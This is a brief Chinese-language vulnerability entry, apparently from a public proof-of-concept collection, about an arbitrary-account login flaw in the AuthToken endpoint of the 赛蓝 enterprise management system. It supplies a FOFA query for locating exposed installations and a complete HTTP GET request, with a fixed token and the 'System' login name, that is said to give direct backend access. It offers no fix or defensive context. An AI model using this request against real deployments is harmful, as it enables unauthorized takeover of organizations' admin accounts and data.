20 lines
587 B
Markdown
20 lines
587 B
Markdown
|
# 赛蓝企业管理系统AuthToken接口存在任意账号登录漏洞
|
|||
|
|
|
|||
|
|
赛蓝企业管理系统AuthToken接口存在任意账号登录漏洞，该漏洞可直接登录后台。
|
|||
|
|
|
|||
|
|
## fofa
|
|||
|
|
|
|||
|
|
```java
|
|||
|
|
body="www.cailsoft.com" || body="赛蓝企业管理系统"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
GET /AuthToken/Index?loginName=System&token=c94ad0c0aee8b1f23b138484f014131f HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|